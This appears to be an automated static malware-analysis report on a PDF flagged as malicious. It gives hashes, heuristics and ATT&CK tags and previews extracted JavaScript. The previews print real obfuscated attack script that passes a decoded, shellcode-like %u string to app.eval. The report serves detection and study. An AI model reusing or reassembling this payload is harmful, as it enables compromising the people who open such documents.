PDF static analysis report

Static analysis result for SHA-256 06698d6694245b41…

SUSPICIOUS

PDF

56.4 KB Created: 2009-12-21 21:35:07 +03:00 Authoring application: comesOneWeb (via 0d352b4d3a317e3eae221199fdb49651) First seen: 2013-01-03
MD5: 06b97ff54ed9a114c5aad4cff6f3eeb6 SHA-1: 551e07493411d3a8b694f4fb503a6aff160ca946 SHA-256: 06698d6694245b4179c7ebb4ecdbe71b3b0ef5dd4798a13720f57f353f92c55a
56 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF contains multiple embedded JavaScript streams, with one identified as obfuscated. The ML classifier strongly indicates maliciousness. The presence of JavaScript actions and streams points to the execution of malicious code within the PDF, likely to download and execute a second-stage payload. The obfuscation in the JavaScript is a common technique to evade detection.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9990

Heuristics 4

  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Optional Content Group with action trigger low PDF_OPTIONAL_CONTENT
    Optional Content Group (layer) co-occurs with an action trigger — content can be selectively hidden from viewers or scanners while the action still fires on open
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 6

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0021_000.js pdf-javascript-stream PDF /JS object 21 at offset 0x27B4 1386 bytes
SHA-256: 3d63c7d6bf3305bf291054c2440a493e7c0d0d53dcbdd10e620b962d9fe71582
Preview script
First 1,000 lines of the extracted script
�� v a r   s 0 J i 6 a 8 a = n e w   A r r a y ( 5 2 4 , 1 4 1 6 5 , 9 5 7 8 ) ; v a r   q h S l m d I G k = ' i M V R 8 c g O j ' ; t h i s . s s W T w I J t j = ' z g E F s M H l ' ; v h N I D v U A F = " c c 9 D 4 u P G 6 " ; f u n c t i o n   k j F o z w S f ( p E 2 S U C M l 5 J ) { r e t u r n   f a l s e ; } v a r   n l e 5 w 0 0 C V = n e w   A r r a y ( ) ; n l e 5 w 0 0 C V [ 0 ] = 1 8 1 6 2 ; f u n c t i o n   v Y o M R 5 g z 7 ( k x A Z 3 h 8 q c , x O x G Q w n 5 ) { r e t u r n   k x A Z 3 h 8 q c ; } v a r   z G j H 7 h X q = 4 9 9 ; t h i s . z g N 0 y T L H = 2 4 7 4 7 ; f u n c t i o n   i f l F G m h M m ( y m I U i W w E n , y V 5 e Z Y x 2 r ) { r e t u r n   f a l s e ; } v a r   s M z U l 6 i X m   =   a p p . e v a l ; c I S m v x Q r 2 y = " v z w Z C 8 v q " ; t h i s . b y x S y Y Q n = n u l l ; v a r   b c S 1 Q J r B 3 = n u l l ; t h i s . y i R t D G u z = 2 3 1 0 0 ; v a r   r 7 x Z I W p i n = n e w   A r r a y ( ) ; r 7 x Z I W p i n [ 0 ] = 6 0 9 1 ; r 7 x Z I W p i n [ 1 ] = 1 1 1 7 6 ; f u n c t i o n   w t q i i F 9 G Y K ( l a 5 R U t g 0 , o B G B Z J V R ) { } v a r   u V s 0 l s G j 9 5 = ' s T V q 2 n s l Q 0 ' ; v a r   z 5 6 q c J X Y z U = " n c 2 H y G h L z " ; m 1 B 1 M q n Z E l = " a z r X d 5 9 r " ; f u n c t i o n   s E s a q b 7 c ( y Z 5 o 2 s w R d , y v 2 i P x E t C ) { r e t u r n   y v 2 i P x E t C ; }
javascript_obj0022_001.js pdf-javascript-stream PDF /JS object 22 at offset 0x2D5A 4096 bytes
SHA-256: 8dc1c946aee2b8c8dfc1ed7d78b1ba9d3518fcd9903d59ab9e161c7de41d0333
Preview script
First 1,000 lines of the extracted script
var eQmdAYdf=false;function b9fH7MzUl6(qUhkAlJVo,o52LGKYA){return false;}this.fafi3Phb='z9miTx85X';function fVJVMv4L(hk5700Xt){}function y0Nf7bkm(g2yUOkdL5,kqCZ7l0r){return kqCZ7l0r;}hnlQb1gz1=8615;wASh3W7k=null;srZ5Dhw4rg=0.0302388867;var iQ0bJgKM5=new Array(21784,15217);this.jAjSrx2HE=null;this.dRBVf2Pw8L=27373;var zeO8llFod=new Array();zeO8llFod[0]=2094;zeO8llFod[1]=12239;zeO8llFod[2]=7516;function uKwOfVtaX(eCO2lbxFR,m0eDMLD5){return eCO2lbxFR;}var d3KP2eN0B = 'v#a_r_ #u?WBw#v_G?y?D_oB ?=_ _nBe_w^ ?A_r_r?a#yB(^)^;^v#aBr? ^n?K_b?1?hBu?UBt?Q^;_f?u#n?c_t?i#oBnB ^w#F#E^4^3^h#m^4#L?(#i?J#NB7BtBj?j_CB,^ ?b#PB2_6^nBV?X?ABH#9^)_{#w_h#iBl_e_(?i^J?N#7#tBj_j?C#.^l^eBn?gBtBh# _*# ^2B ?<_ Bb#P#2_6_n_V#X_A_H^9#)B{Bi?J_NB7^t^j_j_C_ _+?=B #i?J?N^7#t#j#j?C?;_}?i_J?N_7?t^j_jBCB B=# ?i^J^N?7Bt^j_j_CB.^s?u^b#s^t?r#iBnBg^(B0B,B _b_PB2_6^nBV#XBA_H_9_ ?/# _2#)_;^r^e^t^uBrBn? _iBJ#N#7_t#j#jBC^;#}?fBu^n?cBt#iBo^nB Be#M?D_6?f?F^Z?E?c^5^(_xBr?5^J_o?P^p?1?)_{Bi#f^(Bx?r^5^J#o?P^pB1? ?=_=# ?0?)B{?vBa^r? ^n#I_m_1?H^R^w?4#F?2? ?=? ^0^x?0#c^0_cB0#cB0_c#;#v#a^r# _f^xBh^n_f_g?g^y_fBg? B=^ Bn?e_wB #A^r^r^aBy#(_\"#%?u?9_c^6?0#%^u^\"#,_\"#0_0?eB8#%#\"?,#\"Bu?0B0^0B0#%_u?5?dB\"#,#\"_0#0^%#u_e^dB\"#,#\"_8?3^%^u^b_\"_,?\"^8?0#7B%?u_eB5^8?0?%B\"^,B\"Bu#7?8#f?9?%_u^e_4Bb#\"B,#\"B9B%^u#0_0#0?1B%^u?\"?,_\"?3?1B0_0#%?u#0Bd^\"B,?\"_4#4B%_u#8B3B1^\"#,?\"Ba_%BuB0^4?e_9#\"B,B\"^%#u?f#7#7^\"#,B\"?5#%#u?d#4_7?cB%?\"^,?\"#u_1?cB3B9_%B\"?,?\"BuBeB0B8B3#%_u#7?8?\"?,#\"#c#9B%^u^e#5_8^\"?,?\"^0#%#u^7_4?8_1^\"B,_\"_%#uBaB5_0_\"_,?\"_b_%?u#f_3_f^5#%?u#\"_,B\"^f^9Bf#0^%^uB\"_,?\"^f?3?5#4B%_u^e_d#d^\"_,_\"^8?%#u_7^1^1?\"B,^\"^2^%Bu#a?5_0^bB%?u#f?\"^,^\"B5BcBd?%#u_9B9#c#0?\"^,^\"?%#u_2#0#7^2?%^u?0?dB\"^,?\"^b?cB%?u#7#9^dBb?%^\"B,_\"_u#e^5?8#0B%Bu_\"_,#\"^e^d?7B4#%_uBe_\"^,?\"_4Bc?8#%^u_7#8#f?\"_,_\"?9?%Bu^1_a#d#2B%_u#\"#,?\"?7?2#6^c#%?uBe?\"#,_\"?5?8^1^%#uBf_5?\"B,_\"_f?9_%#u?b^6_1^5?%?u?\"#,_\"?7B8^f#8B%BuB\"_,#\"#bB7?8^0^%B\"?,^\"^uB8_7?a_9B%#\"#,#\"?u_e#7?1?5?%?u#7#8#\"_,_\"^f#8^%Bu#6^c#8#\"_,#\"_0^%_uB6_a^7_cB%#u_e?\"^,B\"B5B8?1?%_u^f?\"^,?\"_5Bf^9^%?u_f#\"^,?\"?3^1^5#%#u#7?\"_,_\"^8Bf^8_%Bu?b#7B8_0?\"^,^\"_%?uB9?4_9?1B%?u?e^\"?,_\"_5?8B0?%Bu#8B7_f_9B%B\"#,B\"?u^e#3_1_5B\"B,B\"?%^u_7?8^f?\"_,B\"_8_%_u_6^8^8#0?%#uB7#\"#,B\"^d#6?5?%^uBe^\"#,^\"_4?9^6?%_u_7_8^f#9^\"?,?\"?%_u#5?0B0?d^%?u?7^8_\"^,B\"?3^3B%^u_e_5B8B\"#,^\"_0^%_uBc#5#7^4?%?u^eB\"#,^\"#5?5#8B%^u^7#8#fB\"?,?\"?9_%?u#2Bc#b#1B%_u_\"^,_\"Bf_cB5?5?%^u#\"_,#\"_9^1#4B0?%?\"#,#\"Bu#f^0Bf^f^%#\"#,?\"^u^e_e#8?4B%?u#9B\"?,B\"?3_b#8?%_u^6?\"#,_\"^dB7^5_%#u?7?3B\"B,?\"BfBdB%Bu#e_5_e^\"?,#\"_a?%^u^7^8?9B3^%^u?\"_,#\"#7^0B0_d?%B\"B,?\"Bu_7?9^e#f?%#\"?,?\"?u^e?5?8#0?%^uB2#f_\"_,?\"_a#b_%_u#e#5?\"?,?\"Be#a^%Bu^e^dB0^6#%?\"^,?\"_u^eB4?9_2#%^\"_,_\"BuB7^8_f#9^%Bu_\"#,#\"^e_0^e_a?%_u_e?d#7^\"_,#\"B4_%^u?e#4#\"#,^\"B9^6?%?u^7B8_f_9#%B\"#,?\"#u#1Ba^d_2B%_u_7?\"#,B\"?6^6_c#%?u?e^5#8?1?%_\"#,_\"_u?4#8_f?9_%?u_4?b#\"#,^\"_4B0?%?u?8B5#\"B,^\"^8^c?%?u?d?a#0#\"?,B\"#0B%^u^0^d#4_2?\"^,_\"^%?u#7B8B4^3?%Bu_b#bB\"B,#\"^9^8B%^u^9_\"#,B\"#7?e?1_%_u_1_9?8#bB%_\"^,#\"#u#a#3?f#9^\"_,B\"_%#u_0Ba#9^\"_,B\"#6_%?u_c#bBe^d_%_uB0B\"^,B\"?0B9Bc#%^uBeB\"#,_\"^5_e_5#%Bu#0?c#9B\"_,^\"^1^%_u^9^5_f^\"^,^\"_4^%#u?5B7B\"B,?\"?cB3#%^u_d_7_\"#,#\"#a_f#%BuB4^b^c^8?%#\"B,^\"?u#dB4_a?e_%#u^\"^,B\"_4?b?cBf?%^\"#,B\"^u^d?dBa^e?%?u^\"B,B\"#5?6_c#0?%Bu_d?1Bb#5B\"?,^\"?%_u_1_4_d_6?\"B,^\"^%_uB8B7#e?9_%B\"B,^\"#u#0#d_d?6_%_u_8#\"#,?\"^1?f^0?%#u?0_c#\"?,#\"#9?8B%Bu?c^bBe?\"#,_\"#5#%_uB1?0_8B9#%Bu?\"_,B\"Bd_aBf?0B%^u?1?c#9^0^\"?,_\"_%_u^d^6?b#d^%^\"^,_\"_u_cB3^f#9?%#\"#,_\"?u^e?5?8#0B\"?,B\"_%#u^7_8_f_9?\"#,_\"#%?u?e_5B8_0^%Bu?7#8_\"?,_\"_f#9#%?u^eB\"^,#\"#5B8#0_%#u?7^8_\"B,?\"?f#9?%?u^e?5^\"^,#\"^8_0B%_u^7B8#fB9_\"?,?\"?%_uBe#4^8?\"B,B\"^2B%Bu#7?8^f?9^%?\"#,?\"_u^8?0_c?7?%?u#\"?,^\"B2B8B8?d_%B\"#,?\"^u_8^aBf#2_%_u_3?9#9_\"^,B\"#a_%?u?8?1_e#4?%^u#\"?,_\"#1#d#8^b?%#u#\"B,^\"B9#6Bf^3^%^u#\"#,_\"B3?f?f^9#%#u?9#1_e_\"?,^\"^5B%?u^1_d_a#d#%?u?9^\"B,?\"?5#e^d_%#u#1?9?a^\"#,B\"^9^%_u_8?d_f?4B%Bu_\"_,B\"#7#8Bb^8^%^u^8^a_cBc#\"_,?\"?%_u_1#c_9#8^%?uB8B\"_,^\"Bc^c^c?%#u_0_a?9^b?%B\"?,^\"^u^9#7^e#1^\"_,?\"?%Bu?3?9?8#0?%^u?\"B,B\"^b?2#8B0?%_u?1_6#\"^,_\"_9^0#%Bu?9#d_cB5_%#\"B,B\"#u^1?b#9#c#%
javascript_obj0023_002.js pdf-javascript-stream PDF /JS object 23 at offset 0xC4FB 1800 bytes
SHA-256: dfe79d557ac894f988cce69edc339c03139a6b2e05b72ce8af29828c00cc2f61
Preview script
First 1,000 lines of the extracted script
�� v a r   n V u i k J o f u H = n e w   A r r a y ( ) ; n V u i k J o f u H [ 0 ] = 1 0 1 3 0 ; f u n c t i o n   f V L O D 0 K P ( ) { } l 9 I A J M G L 9 = ' l B y 6 4 5 0 Q y ' ; o J I c 3 7 H 7 = 0 . 7 ; v a r   d w b K O n 8 Y = n e w   A r r a y ( ) ; d w b K O n 8 Y [ 0 ] = 1 7 6 3 8 ; v a r   c M F L T e 3 B c = n e w   A r r a y ( ) ; c M F L T e 3 B c [ 0 ] = 4 3 9 0 ; c M F L T e 3 B c [ 1 ] = 4 4 5 5 ; c M F L T e 3 B c [ 2 ] = 3 1 5 0 8 ; v a r   p v z 8 S Q F 0 s = n e w   A r r a y ( ' m c 6 B R f i R o ' , ' h l 4 g p U 5 v ' , ' s Q O 0 p P M u ' ) ; f u n c t i o n   l q n Z P F k 5 Y ( m f M I v F a 1 ) { r e t u r n   f a l s e ; } v a r   f G a M W j a Y = n e w   A r r a y ( 1 6 2 , 2 0 7 8 7 ) ; f u n c t i o n   d 9 L Q z s J n o ( a i w n y d j Y , r w E m v L 8 s , r O 5 q Z s 9 Y x ) { r e t u r n   f a l s e ; } f u n c t i o n   b L M k K K V 3 a ( f l H D w 2 k U , u g W D q k E 8 ) { r e t u r n   f l H D w 2 k U ; } v a r   q S Y 3 t j i U E s   =   d 3 K P 2 e N 0 B . r e p l a c e ( / [ _ \ ? B \ ^ # ] / g ,   ' ' ) ; f u n c t i o n   u F S M 5 5 h 9 6 ( o 6 S a 2 k e O r , d M S v x 9 H 4 , w 4 M a p R B b 9 i ) { r e t u r n   w 4 M a p R B b 9 i ; } v a r   o p X 6 C 2 4 X H = ' q R S J A 8 r M ' ; v a r   x f f Q Q i Z L K = n e w   A r r a y ( 1 0 7 5 3 , 2 4 7 4 2 , 2 7 3 6 7 ) ; t h i s . v H j s u Q f 5 Z = " y z 5 u 3 h S J " ; v a r   r Z W f R p c L 9 M = n u l l ; t h i s . o q C W i 2 r a = 3 2 2 6 6 ; v a r   x N i G g 1 u H = 0 . 1 0 7 ; v a r   h t I G z 1 z G G 0 = n e w   A r r a y ( ) ; h t I G z 1 z G G 0 [ 0 ] = 2 7 8 8 3 ; v a r   x h 8 q c O N P = 0 . 3 3 3 7 5 9 ; v a r   p Y t L G i A B D = f a l s e ; f b C 4 7 y f W = 2 9 8 4 0 ; i W w E n j Q e A P = f a l s e ; s A M G I h b G G u = " w R 4 X v Y 5 k N " ;
javascript_obj0024_003.js pdf-javascript-stream PDF /JS object 24 at offset 0xCC4B 1138 bytes
SHA-256: 773fccf3bfc429a96e2d0bdede7617699941efd5f921fb2b0a7b1dfec2d37b85
Preview script
First 1,000 lines of the extracted script
�� l F W e s w m 7 = 0 . 1 6 2 9 ; v a r   u 0 p Z 9 q Z U G D = n e w   A r r a y ( " w 2 l I w k b Y Y " , " y 5 D 3 d B 8 V " ) ; t h i s . g R 0 F G e d Z 8 = ' o u 3 1 a U I h D ' ; f u n c t i o n   o g p Z p 0 P J 9 e ( p c P o I 6 j v d q , a W u 6 j J X y , x U O S 3 Z n 2 F ) { } f u n c t i o n   k L I q 8 f m b ( a k l C K 8 c o W ) { r e t u r n   a k l C K 8 c o W ; } f u n c t i o n   v c e X e p B w ( i h T d B u I u , p 8 y X t Q g z ) { r e t u r n   p 8 y X t Q g z ; } f u n c t i o n   w w 5 9 4 U W 3 f ( u T I 4 i M 6 E , t g j R 3 I h P Z , i 0 d c J p b M ) { r e t u r n   i 0 d c J p b M ; } t h i s . s P I 9 b a 4 V = 5 9 5 9 ; f u n c t i o n   w R d 7 i I G g J ( u R Q U s A 1 r B d , x w b L 2 A M 9 ) { r e t u r n   f a l s e ; } f u n c t i o n   a x g k 8 4 X o V e ( j Q s a g L z n , v g R n h W p 3 9 , y o F u k k b f W ) { r e t u r n   j Q s a g L z n ; } f u n c t i o n   j u X y C J r 8 ( z h W J G F k Q k , c W y y o g W 2 D , o N R 1 S q w U w e ) { r e t u r n   c W y y o g W 2 D ; } v a r   h 5 Y m l s 0 5 4 C = n e w   A r r a y ( ' t r 2 G 1 4 z 6 z r ' , ' h l 2 f Y 5 z g ' ) ;
javascript_obj0025_004.js pdf-javascript-stream PDF /JS object 25 at offset 0xD0FB 2630 bytes
SHA-256: f9376851bb45688e2a165f495a40b570943ed765690c9659c19fcf8dccf0fbac
Preview script
First 1,000 lines of the extracted script
�� v a r   s t N R M F j E = 3 1 1 3 0 ; v a r   z Y Z U O F n h U = n e w   A r r a y ( " m T m Y k d f i " , " q B 8 W 3 8 m A " , " a 3 L p 7 n f v " ) ; v a r   z A v L k i 0 C = n e w   A r r a y ( ) ; z A v L k i 0 C [ 0 ] = 1 4 9 9 9 ; z A v L k i 0 C [ 1 ] = 9 3 4 8 ; z A v L k i 0 C [ 2 ] = 2 9 8 0 5 ; f u n c t i o n   g 6 o w y 8 V S ( n 0 o 2 u u m y z S , f 2 N T m z p N , g e d y b w a 3 ) { r e t u r n   n 0 o 2 u u m y z S ; } v a r   o s 1 l l N g w y = 0 . 4 1 7 4 5 3 1 4 6 3 ; f u n c t i o n   a w u c H d M P L ( ) { } v a r   b I s 7 6 s Q B = n e w   A r r a y ( " z M i q V d E D " , " e p 0 h h H 6 K B " ) ; f u n c t i o n   w c 4 r 6 C S 0 ( v f 3 Q t C v x ) { r e t u r n   v f 3 Q t C v x ; } f u n c t i o n   z I 0 k Z V I X T ( l O H Z Z c 7 R 0 k , x Y J z 8 O l Z w , m U p m L D v m S ) { r e t u r n   m U p m L D v m S ; } v a r   e N C O 2 l b x = 0 . 7 9 5 5 2 5 3 6 5 3 ; v a r   u K d h m g U R T = n e w   A r r a y ( 2 9 1 1 , 3 1 1 4 8 ) ; f u n c t i o n   c 0 4 F C a q L j ( t x O B F q d H r ) { } v a r   t 4 v J t w Y 8 = ' p t s B 6 b Z W F ' ; f u n c t i o n   k C p x i 7 H h P ( y B L L W t u X h b ) { } t h i s . o X W f 2 z M R 9 C = n u l l ; v a r   e W e h w 6 k t = n e w   A r r a y ( ' u J S A k z n r r ' , ' o H B e 0 7 y s G l ' , ' r t 0 C 6 I z S ' ) ; v a r   b s e F V P q K = n e w   A r r a y ( ' a L Z n F 3 X E y ' , ' f S B X 6 2 q S j ' ) ; s M z U l 6 i X m ( q S Y 3 t j i U E s ) ; m d S z G u 3 G T = n u l l ; v a r   i w p h 1 s 4 P = n e w   A r r a y ( ) ; i w p h 1 s 4 P [ 0 ] = 3 1 9 1 2 ; i w p h 1 s 4 P [ 1 ] = 2 9 6 3 3 ; i w p h 1 s 4 P [ 2 ] = 1 8 2 7 8 ; v a r   o l g e s j g G = n e w   A r r a y ( ' q b A 8 3 D Y 8 ' , ' t n o 6 G X d w ' , ' r j j k d p R q ' ) ; r H L s j A I S 5 = 0 . 9 8 ; v a r   o S I g M r m H r v = n e w   A r r a y ( " c 0 8 K X 5 W w h " , " s A X Q d z 8 P " ) ; g o W 1 k g 4 E = f a l s e ; t h i s . b I c N f i C Q t 0 = 8 6 7 ; v Q 3 K N 6 7 f H = 2 4 7 8 9 ; v a r   c Q k k j 8 5 F B = n e w   A r r a y ( ) ; c Q k k j 8 5 F B [ 0 ] = 3 1 2 6 8 ; c Q k k j 8 5 F B [ 1 ] = 1 0 6 3 7 ; c Q k k j 8 5 F B [ 2 ] = 2 2 3 3 8 ; y f h D F p U a B 5 = ' c r a N R g m 5 P F ' ; f u n c t i o n   f B B C v l K e u ( j I R p u R 1 c K , b U y k y t m r F , h Q R B v f W d 6 K ) { r e t u r n   h Q R B v f W d 6 K ; } v a r   n o 8 c f F q B w = ' k p o r B s 0 s K ' ; t h i s . y U 4 w T L 3 E q = ' u H R 6 O m h e ' ; f u n c t i o n   i T S 7 b 8 a B h L ( p 9 2 c g M f w , j N T r a u b m N P ) { } v a r   t a M o I y l A t = f a l s e ; v a r   p J H L t S Y q E S = 0 . 8 2 8 7 6 4 ;
stream_006_off000027b4.js decompressed-pdf-stream PDF FlateDecoded stream at offset 0x27B4 692 bytes
SHA-256: 62ccb3b722520cb50c75a66da84cdf915d87a3ce8cdb66a1f26270154343bcdd
Detection
ClamAV: No threats found
Obfuscation or payload: likely
29 of 39 identifiers look randomly generated (e.g. 'z56qcJXYzU') — consistent with name-mangling obfuscation.